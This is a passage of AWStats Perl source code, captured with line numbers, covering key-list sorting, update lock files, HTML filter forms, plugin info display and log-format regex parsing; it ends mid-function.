        if ($Debug) {
8107
 
                debug(
8108
 
                        "  lowerval=$lowerval, nb elem val="
8109
 
                          . ( scalar keys %val )
8110
 
                          . ", nb elem egal="
8111
 
                          . ( scalar keys %egal ) . ".",
8112
 
                        4
8113
 
                );
8114
 
        }
8115
 
}
8116
 
 
8117
 
#------------------------------------------------------------------------------
8118
 
# Function:     Remove a val from sorting tree
8119
 
# Parameters:   None
8120
 
# Input:        $lowerval %val %egal
8121
 
# Output:       None
8122
 
# Return:       None
8123
 
#------------------------------------------------------------------------------
8124
 
sub Removelowerval {
8125
 
        my $keytoremove = $val{$lowerval};    # This is lower key
8126
 
        if ($Debug) {
8127
 
                debug( "   remove for lowerval=$lowerval: key=$keytoremove", 4 );
8128
 
        }
8129
 
        if ( $egal{$keytoremove} ) {
8130
 
                $val{$lowerval} = $egal{$keytoremove};
8131
 
                delete $egal{$keytoremove};
8132
 
        }
8133
 
        else {
8134
 
                delete $val{$lowerval};
8135
 
                $lowerval = $nextval{$lowerval};    # Set new lowerval
8136
 
        }
8137
 
        if ($Debug) {
8138
 
                debug(
8139
 
                        "   new lower value=$lowerval, val size="
8140
 
                          . ( scalar keys %val )
8141
 
                          . ", egal size="
8142
 
                          . ( scalar keys %egal ),
8143
 
                        4
8144
 
                );
8145
 
        }
8146
 
}
8147
 
 
8148
 
#------------------------------------------------------------------------------
8149
 
# Function:     Build @keylist array
8150
 
# Parameters:   Size max for @keylist array,
8151
 
#               Min value in hash for select,
8152
 
#               Hash used for select,
8153
 
#               Hash used for order
8154
 
# Input:        None
8155
 
# Output:       None
8156
 
# Return:       @keylist response array
8157
 
#------------------------------------------------------------------------------
8158
 
sub BuildKeyList {
8159
 
        my $ArraySize = shift || error(
8160
 
"System error. Call to BuildKeyList function with incorrect value for first param",
8161
 
                "", "", 1
8162
 
        );
8163
 
        my $MinValue = shift || error(
8164
 
"System error. Call to BuildKeyList function with incorrect value for second param",
8165
 
                "", "", 1
8166
 
        );
8167
 
        my $hashforselect = shift;
8168
 
        my $hashfororder  = shift;
8169
 
        if ($Debug) {
8170
 
                debug(
8171
 
                        "  BuildKeyList($ArraySize,$MinValue,$hashforselect with size="
8172
 
                          . ( scalar keys %$hashforselect )
8173
 
                          . ",$hashfororder with size="
8174
 
                          . ( scalar keys %$hashfororder ) . ")",
8175
 
                        3
8176
 
                );
8177
 
        }
8178
 
        delete $hashforselect->{0};
8179
 
        delete $hashforselect->{ ''
8180
 
          }; # Those is to protect from infinite loop when hash array has an incorrect null key
8181
 
        my $count = 0;
8182
 
        $lowerval = 0;    # Global because used in AddInTree and Removelowerval
8183
 
        %val      = ();
8184
 
        %nextval  = ();
8185
 
        %egal     = ();
8186
 
 
8187
 
        foreach my $key ( keys %$hashforselect ) {
8188
 
                if ( $count < $ArraySize ) {
8189
 
                        if ( $hashforselect->{$key} >= $MinValue ) {
8190
 
                                $count++;
8191
 
                                if ($Debug) {
8192
 
                                        debug(
8193
 
                                                "  Add in tree entry $count : $key (value="
8194
 
                                                  . ( $hashfororder->{$key} || 0 )
8195
 
                                                  . ", tree not full)",
8196
 
                                                4
8197
 
                                        );
8198
 
                                }
8199
 
                                AddInTree( $key, $hashfororder->{$key} || 0, $count );
8200
 
                        }
8201
 
                        next;
8202
 
                }
8203
 
                $count++;
8204
 
                if ( ( $hashfororder->{$key} || 0 ) <= $lowerval ) { next; }
8205
 
                if ($Debug) {
8206
 
                        debug(
8207
 
                                "  Add in tree entry $count : $key (value="
8208
 
                                  . ( $hashfororder->{$key} || 0 )
8209
 
                                  . " > lowerval=$lowerval)",
8210
 
                                4
8211
 
                        );
8212
 
                }
8213
 
                AddInTree( $key, $hashfororder->{$key} || 0 );
8214
 
                if ($Debug) { debug( "  Removelower in tree", 4 ); }
8215
 
                Removelowerval();
8216
 
        }
8217
 
 
8218
 
        # Build key list and sort it
8219
 
        if ($Debug) {
8220
 
                debug(
8221
 
                        "  Build key list and sort it. lowerval=$lowerval, nb elem val="
8222
 
                          . ( scalar keys %val )
8223
 
                          . ", nb elem egal="
8224
 
                          . ( scalar keys %egal ) . ".",
8225
 
                        3
8226
 
                );
8227
 
        }
8228
 
        my %notsortedkeylist = ();
8229
 
        foreach my $key ( values %val )  { $notsortedkeylist{$key} = 1; }
8230
 
        foreach my $key ( values %egal ) { $notsortedkeylist{$key} = 1; }
8231
 
        @keylist = ();
8232
 
        @keylist = (
8233
 
                sort { ( $hashfororder->{$b} || 0 ) <=> ( $hashfororder->{$a} || 0 ) }
8234
 
                  keys %notsortedkeylist
8235
 
        );
8236
 
        if ($Debug) {
8237
 
                debug( "  BuildKeyList End (keylist size=" . (@keylist) . ")", 3 );
8238
 
        }
8239
 
        return;
8240
 
}
8241
 
 
8242
 
#------------------------------------------------------------------------------
8243
 
# Function:     Lock or unlock update
8244
 
# Parameters:   status (1 to lock, 0 to unlock)
8245
 
# Input:        $DirLock (if status=0) $PROG $FileSuffix
8246
 
# Output:       $DirLock (if status=1)
8247
 
# Return:       None
8248
 
#------------------------------------------------------------------------------
8249
 
sub Lock_Update {
8250
 
        my $status = shift;
8251
 
        my $lock   = "$PROG$FileSuffix.lock";
8252
 
        if ($status) {
8253
 
 
8254
 
                # We stop if there is at least one lock file wherever it is
8255
 
                foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8256
 
                        my $newkey = $key;
8257
 
                        $newkey =~ s/[\\\/]$//;
8258
 
                        if ( -f "$newkey/$lock" ) {
8259
 
                                error(
8260
 
"An AWStats update process seems to be already running for this config file. Try later.\nIf this is not true, remove manually lock file '$newkey/$lock'.",
8261
 
                                        "", "", 1
8262
 
                                );
8263
 
                        }
8264
 
                }
8265
 
 
8266
 
                # Set lock where we can
8267
 
                foreach my $key ( $ENV{"TEMP"}, $ENV{"TMP"}, "/tmp", "/", "." ) {
8268
 
                        if ( !-d "$key" ) { next; }
8269
 
                        $DirLock = $key;
8270
 
                        $DirLock =~ s/[\\\/]$//;
8271
 
                        if ($Debug) { debug("Update lock file $DirLock/$lock is set"); }
8272
 
                        open( LOCK, ">$DirLock/$lock" )
8273
 
                          || error( "Failed to create lock file $DirLock/$lock", "", "",
8274
 
                                1 );
8275
 
                        print LOCK
8276
 
"AWStats update started by process $$ at $nowyear-$nowmonth-$nowday $nowhour:$nowmin:$nowsec\n";
8277
 
                        close(LOCK);
8278
 
                        last;
8279
 
                }
8280
 
        }
8281
 
        else {
8282
 
 
8283
 
                # Remove lock
8284
 
                if ($Debug) { debug("Update lock file $DirLock/$lock is removed"); }
8285
 
                unlink("$DirLock/$lock");
8286
 
        }
8287
 
        return;
8288
 
}
8289
 
 
8290
 
#------------------------------------------------------------------------------
8291
 
# Function:     Signal handler to call Lock_Update to remove lock file
8292
 
# Parameters:   Signal name
8293
 
# Input:        None
8294
 
# Output:       None
8295
 
# Return:       None
8296
 
#------------------------------------------------------------------------------
8297
 
sub SigHandler {
8298
 
        my $signame = shift;
8299
 
        print ucfirst($PROG) . " process (ID $$) interrupted by signal $signame.\n";
8300
 
        &Lock_Update(0);
8301
 
        exit 1;
8302
 
}
8303
 
 
8304
 
#------------------------------------------------------------------------------
8305
 
# Function:     Convert an IPAddress into an integer
8306
 
# Parameters:   IPAddress
8307
 
# Input:        None
8308
 
# Output:       None
8309
 
# Return:       Int
8310
 
#------------------------------------------------------------------------------
8311
 
sub Convert_IP_To_Decimal {
8312
 
        my ($IPAddress) = @_;
8313
 
        my @ip_seg_arr = split( /\./, $IPAddress );
8314
 
        my $decimal_ip_address =
8315
 
          256 * 256 * 256 * $ip_seg_arr[0] + 256 * 256 * $ip_seg_arr[1] + 256 *
8316
 
          $ip_seg_arr[2] + $ip_seg_arr[3];
8317
 
        return ($decimal_ip_address);
8318
 
}
8319
 
 
8320
 
#------------------------------------------------------------------------------
8321
 
# Function:     Test there is at least on value in list not null
8322
 
# Parameters:   List of values
8323
 
# Input:        None
8324
 
# Output:       None
8325
 
# Return:       1 There is at least one not null value, 0 else
8326
 
#------------------------------------------------------------------------------
8327
 
sub AtLeastOneNotNull {
8328
 
        if ($Debug) {
8329
 
                debug( " Call to AtLeastOneNotNull (" . join( '-', @_ ) . ")", 3 );
8330
 
        }
8331
 
        foreach my $val (@_) {
8332
 
                if ($val) { return 1; }
8333
 
        }
8334
 
        return 0;
8335
 
}
8336
 
 
8337
 
#------------------------------------------------------------------------------
8338
 
# Function:     Return the string to add in html tag to include popup javascript code
8339
 
# Parameters:   tooltip number
8340
 
# Input:        None
8341
 
# Output:       None
8342
 
# Return:       string with javascript code
8343
 
#------------------------------------------------------------------------------
8344
 
sub Tooltip {
8345
 
        my $ttnb = shift;
8346
 
        return (
8347
 
                $TOOLTIPON
8348
 
                ? " onmouseover=\"ShowTip($ttnb);\" onmouseout=\"HideTip($ttnb);\""
8349
 
                : ""
8350
 
        );
8351
 
}
8352
 
 
8353
 
#------------------------------------------------------------------------------
8354
 
# Function:     Insert a form filter
8355
 
# Parameters:   Name of filter field, default for filter field, default for exclude filter field
8356
 
# Input:        $StaticLinks, $QueryString, $SiteConfig, $DirConfig
8357
 
# Output:       HTML Form
8358
 
# Return:       None
8359
 
#------------------------------------------------------------------------------
8360
 
sub ShowFormFilter {
8361
 
        my $fieldfiltername    = shift;
8362
 
        my $fieldfilterinvalue = shift;
8363
 
        my $fieldfilterexvalue = shift;
8364
 
        if ( !$StaticLinks ) {
8365
 
                my $NewLinkParams = ${QueryString};
8366
 
                $NewLinkParams =~ s/(^|&|&amp;)update(=\w*|$)//i;
8367
 
                $NewLinkParams =~ s/(^|&|&amp;)output(=\w*|$)//i;
8368
 
                $NewLinkParams =~ s/(^|&|&amp;)staticlinks(=\w*|$)//i;
8369
 
                $NewLinkParams =~ s/(&amp;|&)+/&amp;/i;
8370
 
                $NewLinkParams =~ s/^&amp;//;
8371
 
                $NewLinkParams =~ s/&amp;$//;
8372
 
                if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&amp;"; }
8373
 
                print "\n<form name=\"FormFilter\" action=\""
8374
 
                  . XMLEncode("$AWScript?${NewLinkParams}")
8375
 
                  . "\" class=\"aws_border\">\n";
8376
 
                print
8377
 
"<table valign=\"middle\" width=\"99%\" border=\"0\" cellspacing=\"0\" cellpadding=\"2\"><tr>\n";
8378
 
                print "<td align=\"left\" width=\"50\">$Message[79]&nbsp;:</td>\n";
8379
 
                print
8380
 
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}\" value=\"$fieldfilterinvalue\" class=\"aws_formfield\" /></td>\n";
8381
 
                print "<td> &nbsp; </td>";
8382
 
                print "<td align=\"left\" width=\"100\">$Message[153]&nbsp;:</td>\n";
8383
 
                print
8384
 
"<td align=\"left\" width=\"100\"><input type=\"text\" name=\"${fieldfiltername}ex\" value=\"$fieldfilterexvalue\" class=\"aws_formfield\" /></td>\n";
8385
 
                print "<td>";
8386
 
                print "<input type=\"hidden\" name=\"output\" value=\""
8387
 
                  . join( ',', keys %HTMLOutput )
8388
 
                  . "\" />\n";
8389
 
 
8390
 
                if ($SiteConfig) {
8391
 
                        print
8392
 
"<input type=\"hidden\" name=\"config\" value=\"$SiteConfig\" />\n";
8393
 
                }
8394
 
                if ($DirConfig) {
8395
 
                        print
8396
 
"<input type=\"hidden\" name=\"configdir\" value=\"$DirConfig\" />\n";
8397
 
                }
8398
 
                if ( $QueryString =~ /(^|&|&amp;)year=(\d\d\d\d)/i ) {
8399
 
                        print "<input type=\"hidden\" name=\"year\" value=\"$2\" />\n";
8400
 
                }
8401
 
                if (   $QueryString =~ /(^|&|&amp;)month=(\d\d)/i
8402
 
                        || $QueryString =~ /(^|&|&amp;)month=(all)/i )
8403
 
                {
8404
 
                        print "<input type=\"hidden\" name=\"month\" value=\"$2\" />\n";
8405
 
                }
8406
 
                if ( $QueryString =~ /(^|&|&amp;)lang=(\w+)/i ) {
8407
 
                        print "<input type=\"hidden\" name=\"lang\" value=\"$2\" />\n";
8408
 
                }
8409
 
                if ( $QueryString =~ /(^|&|&amp;)debug=(\d+)/i ) {
8410
 
                        print "<input type=\"hidden\" name=\"debug\" value=\"$2\" />\n";
8411
 
                }
8412
 
                if ( $QueryString =~ /(^|&|&amp;)framename=(\w+)/i ) {
8413
 
                        print "<input type=\"hidden\" name=\"framename\" value=\"$2\" />\n";
8414
 
                }
8415
 
                print
8416
 
"<input type=\"submit\" value=\" $Message[115] \" class=\"aws_button\" /></td>\n";
8417
 
                print "<td> &nbsp; </td>";
8418
 
                print "</tr></table>\n";
8419
 
                print "</form>\n";
8420
 
                print "<br />\n";
8421
 
                print "\n";
8422
 
        }
8423
 
}
8424
 
 
8425
 
#------------------------------------------------------------------------------
8426
 
# Function:     Write other user info (with help of plugin)
8427
 
# Parameters:   $user
8428
 
# Input:        $SiteConfig
8429
 
# Output:       URL link
8430
 
# Return:       None
8431
 
#------------------------------------------------------------------------------
8432
 
sub ShowUserInfo {
8433
 
        my $user = shift;
8434
 
 
8435
 
        # Call to plugins' function ShowInfoUser
8436
 
        foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoUser'} } ) {
8437
 
 
8438
 
                #               my $function="ShowInfoUser_$pluginname('$user')";
8439
 
                #               eval("$function");
8440
 
                my $function = "ShowInfoUser_$pluginname";
8441
 
                &$function($user);
8442
 
        }
8443
 
}
8444
 
 
8445
 
#------------------------------------------------------------------------------
8446
 
# Function:     Write other cluster info (with help of plugin)
8447
 
# Parameters:   $clusternb
8448
 
# Input:        $SiteConfig
8449
 
# Output:       Cluster info
8450
 
# Return:       None
8451
 
#------------------------------------------------------------------------------
8452
 
sub ShowClusterInfo {
8453
 
        my $user = shift;
8454
 
 
8455
 
        # Call to plugins' function ShowInfoCluster
8456
 
        foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoCluster'} } )
8457
 
        {
8458
 
 
8459
 
                #               my $function="ShowInfoCluster_$pluginname('$user')";
8460
 
                #               eval("$function");
8461
 
                my $function = "ShowInfoCluster_$pluginname";
8462
 
                &$function($user);
8463
 
        }
8464
 
}
8465
 
 
8466
 
#------------------------------------------------------------------------------
8467
 
# Function:     Write other host info (with help of plugin)
8468
 
# Parameters:   $host
8469
 
# Input:        $LinksToWhoIs $LinksToWhoIsIp
8470
 
# Output:       None
8471
 
# Return:       None
8472
 
#------------------------------------------------------------------------------
8473
 
sub ShowHostInfo {
8474
 
        my $host = shift;
8475
 
 
8476
 
        # Call to plugins' function ShowInfoHost
8477
 
        foreach my $pluginname ( sort keys %{ $PluginsLoaded{'ShowInfoHost'} } ) {
8478
 
 
8479
 
                #               my $function="ShowInfoHost_$pluginname('$host')";
8480
 
                #               eval("$function");
8481
 
                my $function = "ShowInfoHost_$pluginname";
8482
 
                &$function($host);
8483
 
        }
8484
 
}
8485
 
 
8486
 
#------------------------------------------------------------------------------
8487
 
# Function:     Write other url info (with help of plugin)
8488
 
# Parameters:   $url
8489
 
# Input:        %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
8490
 
# Output:       URL link
8491
 
# Return:       None
8492
 
#------------------------------------------------------------------------------
8493
 
sub ShowURLInfo {
8494
 
        my $url     = shift;
8495
 
        my $nompage = CleanXSS($url);
8496
 
 
8497
 
        # Call to plugins' function ShowInfoURL
8498
 
        foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) {
8499
 
 
8500
 
                #               my $function="ShowInfoURL_$pluginname('$url')";
8501
 
                #               eval("$function");
8502
 
                my $function = "ShowInfoURL_$pluginname";
8503
 
                &$function($url);
8504
 
        }
8505
 
 
8506
 
        if ( length($nompage) > $MaxLengthOfShownURL ) {
8507
 
                $nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
8508
 
        }
8509
 
        if ($ShowLinksOnUrl) {
8510
 
                my $newkey = CleanXSS($url);
8511
 
                if ( $LogType eq 'W' || $LogType eq 'S' ) {  # Web or streaming log file
8512
 
                        if ( $newkey =~ /^http(s|):/i )
8513
 
                        {    # URL seems to be extracted from a proxy log file
8514
 
                                print "<a href=\""
8515
 
                                  . XMLEncode("$newkey")
8516
 
                                  . "\" target=\"url\">"
8517
 
                                  . XMLEncode($nompage) . "</a>";
8518
 
                        }
8519
 
                        elsif ( $newkey =~ /^\// )
8520
 
                        { # URL seems to be an url extracted from a web or wap server log file
8521
 
                                $newkey =~ s/^\/$SiteDomain//i;
8522
 
 
8523
 
                                # Define urlprot
8524
 
                                my $urlprot = 'http';
8525
 
                                if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ )
8526
 
                                {
8527
 
                                        $urlprot = 'https';
8528
 
                                }
8529
 
                                print "<a href=\""
8530
 
                                  . XMLEncode("$urlprot://$SiteDomain$newkey")
8531
 
                                  . "\" target=\"url\">"
8532
 
                                  . XMLEncode($nompage) . "</a>";
8533
 
                        }
8534
 
                        else {
8535
 
                                print XMLEncode($nompage);
8536
 
                        }
8537
 
                }
8538
 
                elsif ( $LogType eq 'F' ) {    # Ftp log file
8539
 
                        print XMLEncode($nompage);
8540
 
                }
8541
 
                elsif ( $LogType eq 'M' ) {    # Smtp log file
8542
 
                        print XMLEncode($nompage);
8543
 
                }
8544
 
                else {                         # Other type log file
8545
 
                        print XMLEncode($nompage);
8546
 
                }
8547
 
        }
8548
 
        else {
8549
 
                print XMLEncode($nompage);
8550
 
        }
8551
 
}
8552
 
 
8553
 
#------------------------------------------------------------------------------
8554
 
# Function:     Define value for PerlParsingFormat (used for regex log record parsing)
8555
 
# Parameters:   $LogFormat
8556
 
# Input:        -
8557
 
# Output:       $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
8558
 
# Return:       -
8559
 
#------------------------------------------------------------------------------
8560
 
sub DefinePerlParsingFormat {
8561
 
        my $LogFormat = shift;
8562
 
        $pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method =
8563
 
          $pos_url = $pos_code = $pos_size = -1;
8564
 
        $pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout =
8565
 
          $pos_compratio   = -1;
8566
 
        $pos_cluster       = $pos_emails = $pos_emailr = $pos_hostr = -1;
8567
 
        @pos_extra         = ();
8568
 
        @fieldlib          = ();
8569
 
        $PerlParsingFormat = '';
8570
 
 
8571
 
# Log records examples:
8572
 
# Apache combined:             62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
8573
 
# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
8574
 
# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
8575
 
# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-"
8576
 
# IIS:                         2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
8577
 
# WebStar:                     05/21/00 00:17:31        OK      200     212.242.30.6    Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)  http://www.cover.dk/    "www.cover.dk"  :Documentation:graphics:starninelogo.white.gif  1133
8578
 
# Squid extended:              12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
8579
 
# Log formats:
8580
 
# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
8581
 
# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
8582
 
# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
8583
 
        if ($Debug) {
8584
 
                debug(
8585
 
"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
8586
 
                );
8587
 
        }
8588
 
        if ( $LogFormat =~ /^[1-6]$/ ) {    # Pre-defined log format
8589
 
                if ( $LogFormat eq '1' || $LogFormat eq '6' )
8590
 
                { # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
8591
 
                         # %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
8592
 
 
8593
 
# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8594
 
                        $PerlParsingFormat =
8595
 
"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8596
 
                        $pos_host    = 0;
8597
 
                        $pos_logname = 1;
8598
 
                        $pos_date    = 2;
8599
 
                        $pos_method  = 3;
8600
 
                        $pos_url     = 4;
8601
 
                        $pos_code    = 5;
8602
 
                        $pos_size    = 6;
8603
 
                        $pos_referer = 7;
8604
 
                        $pos_agent   = 8;
8605
 
                        @fieldlib    = (
8606
 
                                'host', 'logname', 'date', 'method', 'url', 'code',
8607
 
                                'size', 'referer', 'ua'
8608
 
                        );
8609
 
                }
8610
 
                elsif ( $LogFormat eq '2' )
8611
 
                { # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
8612
 
                        $PerlParsingFormat =
8613
 
"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
8614
 
                        $pos_date    = 0;
8615
 
                        $pos_host    = 1;
8616
 
                        $pos_logname = 2;
8617
 
                        $pos_method  = 3;
8618
 
                        $pos_url     = 4;
8619
 
                        $pos_code    = 5;
8620
 
                        $pos_size    = 6;
8621
 
                        $pos_agent   = 7;
8622
 
                        $pos_referer = 8;
8623
 
                        @fieldlib    = (
8624
 
                                'date', 'host', 'logname', 'method', 'url', 'code',
8625
 
                                'size', 'ua',   'referer'
8626
 
                        );
8627
 
                }
8628
 
                elsif ( $LogFormat eq '3' ) {
8629
 
                        $PerlParsingFormat =
8630
 
"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
8631
 
                        $pos_date    = 0;
8632
 
                        $pos_method  = 1;
8633
 
                        $pos_code    = 2;
8634
 
                        $pos_host    = 3;
8635
 
                        $pos_agent   = 4;
8636
 
                        $pos_referer = 5;
8637
 
                        $pos_url     = 6;
8638
 
                        $pos_size    = 7;
8639
 
                        @fieldlib    = (
8640
 
                                'date', 'method',  'code', 'host',
8641
 
                                'ua',   'referer', 'url',  'size'
8642
 
                        );
8643
 
                }
8644
 
                elsif ( $LogFormat eq '4' ) {    # Same than "%h %l %u %t \"%r\" %>s %b"
8645
 
                         # %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
8646
 
                        $PerlParsingFormat =
8647
 
"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)";
8648
 
                        $pos_host    = 0;
8649
 
                        $pos_logname = 1;
8650
 
                        $pos_date    = 2;
8651
 
                        $pos_method  = 3;
8652
 
                        $pos_url     = 4;
8653
 
                        $pos_code    = 5;
8654
 
                        $pos_size    = 6;
8655
 
                        @fieldlib    =
8656
 
                          ( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' );
8657
 
                }
8658
 
        }
8659
 
        else {    # Personalized log format
8660
 
                my $LogFormatString = $LogFormat;
8661
 
 
8662
 
                # Replacement for Notes format string that are not Apache
8663
 
                $LogFormatString =~ s/%vh/%virtualname/g;
8664
 
 
8665
 
                # Replacement for Apache format string
8666
 
                $LogFormatString =~ s/%v(\s)/%virtualname$1/g;
8667
 
                $LogFormatString =~ s/%v$/%virtualname/g;
8668
 
                $LogFormatString =~ s/%h(\s)/%host$1/g;
8669
 
                $LogFormatString =~ s/%h$/%host/g;
8670
 
                $LogFormatString =~ s/%l(\s)/%other$1/g;
8671
 
                $LogFormatString =~ s/%l$/%other/g;
8672
 
                $LogFormatString =~ s/\"%u\"/%lognamequot/g;
8673
 
                $LogFormatString =~ s/%u(\s)/%logname$1/g;
8674
 
                $LogFormatString =~ s/%u$/%logname/g;
8675
 
                $LogFormatString =~ s/%t(\s)/%time1$1/g;
8676
 
                $LogFormatString =~ s/%t$/%time1/g;
8677
 
                $LogFormatString =~ s/\"%r\"/%methodurl/g;
8678
 
                $LogFormatString =~ s/%>s/%code/g;
8679
 
                $LogFormatString =~ s/%b(\s)/%bytesd$1/g;
8680
 
                $LogFormatString =~ s/%b$/%bytesd/g;
8681
 
                $LogFormatString =~ s/\"%{Referer}i\"/%refererquot/g;
8682
 
                $LogFormatString =~ s/\"%{User-Agent}i\"/%uaquot/g;
8683
 
                $LogFormatString =~ s/%{mod_gzip_input_size}n/%gzipin/g;
8684
 
                $LogFormatString =~ s/%{mod_gzip_output_size}n/%gzipout/g;
8685
 
                $LogFormatString =~ s/%{mod_gzip_compression_ratio}n/%gzipratio/g;
8686
 
                $LogFormatString =~ s/\(%{ratio}n\)/%deflateratio/g;
8687
 
 
8688
 
                # Replacement for a IIS and ISA format string
8689
 
                $LogFormatString =~ s/cs-uri-query/%query/g;    # Must be before cs-uri
8690
 
                $LogFormatString =~ s/date\stime/%time2/g;
8691
 
                $LogFormatString =~ s/c-ip/%host/g;
8692
 
                $LogFormatString =~ s/cs-username/%logname/g;
8693
 
                $LogFormatString =~ s/cs-method/%method/g;  # GET, POST, SMTP, RETR STOR
8694
 
                $LogFormatString =~ s/cs-uri-stem/%url/g;
8695
 
                $LogFormatString =~ s/cs-uri/%url/g;
8696
 
                $LogFormatString =~ s/sc-status/%code/g;
8697
 
                $LogFormatString =~ s/sc-bytes/%bytesd/g;
8698
 
                $LogFormatString =~ s/cs-version/%other/g;  # Protocol
8699
 
                $LogFormatString =~ s/cs\(User-Agent\)/%ua/g;
8700
 
                $LogFormatString =~ s/c-agent/%ua/g;
8701
 
                $LogFormatString =~ s/cs\(Referer\)/%referer/g;
8702
 
                $LogFormatString =~ s/cs-referred/%referer/g;
8703
 
                $LogFormatString =~ s/sc-authenticated/%other/g;
8704
 
                $LogFormatString =~ s/s-svcname/%other/g;
8705
 
                $LogFormatString =~ s/s-computername/%other/g;
8706
 
                $LogFormatString =~ s/r-host/%virtualname/g;
8707
 
                $LogFormatString =~ s/cs-host/%virtualname/g;
8708
 
                $LogFormatString =~ s/r-ip/%other/g;
8709
 
                $LogFormatString =~ s/r-port/%other/g;
8710
 
                $LogFormatString =~ s/time-taken/%other/g;
8711
 
                $LogFormatString =~ s/cs-bytes/%other/g;
8712
 
                $LogFormatString =~ s/cs-protocol/%other/g;
8713
 
                $LogFormatString =~ s/cs-transport/%other/g;
8714
 
                $LogFormatString =~
8715
 
                  s/s-operation/%method/g;    # GET, POST, SMTP, RETR STOR
8716
 
                $LogFormatString =~ s/cs-mime-type/%other/g;
8717
 
                $LogFormatString =~ s/s-object-source/%other/g;
8718
 
                $LogFormatString =~ s/s-cache-info/%other/g;
8719
 
                $LogFormatString =~ s/cluster-node/%cluster/g;
8720
 
 
8721
 
                # Added for MMS
8722
 
                $LogFormatString =~
8723
 
                  s/protocol/%protocolmms/g;    # cs-method might not be available
8724
 
                $LogFormatString =~
8725
 
                  s/c-status/%codemms/g;    # c-status used when sc-status not available
8726
 
                if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
8727
 
 
8728
 
# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
8729
 
                my $i                       = 0;
8730
 
                my $LogSeparatorWithoutStar = $LogSeparator;
8731
 
                $LogSeparatorWithoutStar =~ s/[\*\+]//g;
8732
 
                foreach my $f ( split( /\s+/, $LogFormatString ) ) {
8733
 
 
8734
 
                        # Add separator for next field
8735
 
                        if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; }
8736
 
 
8737
 
                        # Special for logname
8738
 
                        if ( $f =~ /%lognamequot$/ ) {
8739
 
                                $pos_logname = $i;
8740
 
                                $i++;
8741
 
                                push @fieldlib, 'logname';
8742
 
                                $PerlParsingFormat .=
8743
 
                                  "\\\"?([^\\\"]*)\\\"?"
8744
 
                                  ; # logname can be "value", "" and - in same log (Lotus notes)
8745
 
                        }
8746
 
                        elsif ( $f =~ /%logname$/ ) {
8747
 
                                $pos_logname = $i;
8748
 
                                $i++;
8749
 
                                push @fieldlib, 'logname';
8750
 
 
8751
 
# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
8752
 
                                $PerlParsingFormat .= "([^\\/\\[]+)";
8753
 
                        }
8754
 
 
8755
 
                        # Date format
8756
 
                        elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ )
8757
 
